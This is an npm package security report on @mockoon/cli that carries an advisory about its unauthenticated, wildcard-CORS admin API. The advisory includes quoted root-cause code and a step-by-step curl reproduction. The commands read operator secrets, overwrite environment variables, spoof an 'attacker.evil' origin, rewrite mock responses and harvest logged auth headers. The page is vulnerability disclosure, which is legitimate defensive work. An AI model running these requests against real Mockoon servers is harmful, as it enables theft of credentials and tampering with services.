npm package report

Is @mockoon/cli safe?

2 known vulnerabilities, worst severity HIGH.

// reach

4 direct dependencies

1 carry known advisories, worst HIGH

0 packages depend on it

an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


    cvss
    0.0
    high

    severity out of 10

    epss
    0.00%
    low

    chance of exploitation in 30 days, 16th percentile of all CVEs

    xyz score
    not scored

    CyberXYZ composite out of 10

    fig. 01 — GHSA-rqx4-3f6q-3x2v, the advisory selected below

    // 2 advisories

    GHSA-rqx4-3f6q-3x2v

    HIGHCVE-2026-59148
    // summary

    Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOONADMINTOKEN env var — searched the repo, returns zero hits).

    Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:

    • Read every MOCKOON env var used by the operator as secret material in templates (getEnvVar helper).
    • Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOONAPIKEY, MOCKOONJWTSECRET, …, or write process-level vars like AWSSECRETACCESSKEY that the surrounding runtime consumes.
    • Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc.
    • Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).
    • Read/write global template vars; purge state / data buckets / logs.

    Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.

    ---

    // root cause

    packages/commons-server/src/libs/server/server.ts:127:

    private options: ServerOptions = {
      ...,
      enableAdminApi: true,        // ← default on
    };

    packages/cli/src/commands/start.ts:200:

    enableAdminApi: !userFlags['disable-admin-api'],   // default true unless --disable-admin-api passed

    packages/serverless/src/libs/serverless.ts:21:

    enableAdminApi: true,          // ← default on, no flag to disable in the constructor

    packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):

    app.use(`${adminApiPrefix}*`, (req, res, next) => {
      res.setHeaders(
        new Headers({
          'Access-Control-Allow-Origin': '*',
          'Access-Control-Allow-Methods':
            'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',
          'Access-Control-Allow-Headers':
            'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'
        })
      );
      next();
    });

    packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):

    const setEnvVarHandler = (req, res) => {
      try {
        const { key, value } = req.body;
        if (key !== undefined && value !== undefined) {
          process.env[key] = value;                            // ← any process env, any value
          res.send({ message: `Environment variable '${key}' has been set to '${value}'` });
        } else {
          throw new Error('Key or value missing from request');
        }
      } catch (_error) {
        res.status(400).send({ message: 'Invalid request' });
      }
    };

    packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):

    app.put(`${adminApiPrefix}/environment`, (req, res) => {
      try {
        const environment: Environment = EnvironmentSchema.validate(req.body).value;
        if (!environment) {
          res.status(400).send({ message: 'Invalid environment format' });
          return;
        }
        updateEnvironment(environment);                        // ← runtime mutation of every route response
        res.send({ message: 'Environment updated' });
      } catch (_error) {
        res.status(400).send({ message: 'Invalid environment format' });
      }
    });

    Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.

    ---

    // live reproduction (2026-05-11, @mockoon/cli@9.6.1)

    npm install @mockoon/cli@9.6.1. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOONAPIKEY'}}. Start with:

    MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \
      mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file

    Bind confirmed via lsof:

    COMMAND  PID    USER  FD  TYPE  ...  NAME
    node    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    <-- all interfaces

    Baseline mock response:

    $ curl -s http://127.0.0.1:3100/users/42
    {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}
    // 1) read operator secret unauth
    $ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY
    HTTP/1.1 200 OK
    access-control-allow-origin: *
    {"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}
    // 2) poison operator secret unauth → downstream consumer ingests attacker value
    $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
        -H "Content-Type: application/json" \
        -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'
    {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}
    
    $ curl -s http://127.0.0.1:3100/users/42
    {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}
    // 3) write arbitrary non-mockoon env var (no prefix gate)
    $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
        -H "Content-Type: application/json" \
        -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}'
    {"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"}
    // 4) cross-origin csrf from https://attacker.evil
    $ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \
        -H "Origin: https://attacker.evil" \
        -H "Access-Control-Request-Method: POST" \
        -H "Access-Control-Request-Headers: Content-Type"
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS
    Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With
    
    $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
        -H "Origin: https://attacker.evil" \
        -H "Content-Type: application/json" \
        -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}'
    {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}

    Wildcard Access-Control-Allow-Origin: + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.

    // 5) rewrite every mock route via unauth put /environment
    $ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \
        -H "Origin: https://attacker.evil" \
        -H "Content-Type: application/json" \
        -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED",
              statusCode 418, header X-Pwned: by-attacker.evil... }'
    {"message":"Environment updated"}
    
    $ curl -s -i http://127.0.0.1:3100/users/99
    HTTP/1.1 418 I'm a Teapot
    X-Pwned: by-attacker.evil
    Content-Type: application/json
    {"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true}
    // 6) read transaction logs / sse stream → harvest consumer's auth headers
    $ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2

    Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.

    // cvss v3.1 vector

    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    Attack vector
    Network
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    Required
    Scope
    Unchanged
    Confidentiality
    High
    Integrity
    High
    Availability
    High

    Checked 2026-09-26 at 01:00 UTC. The most recent advisory here was published 2026-09-11. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.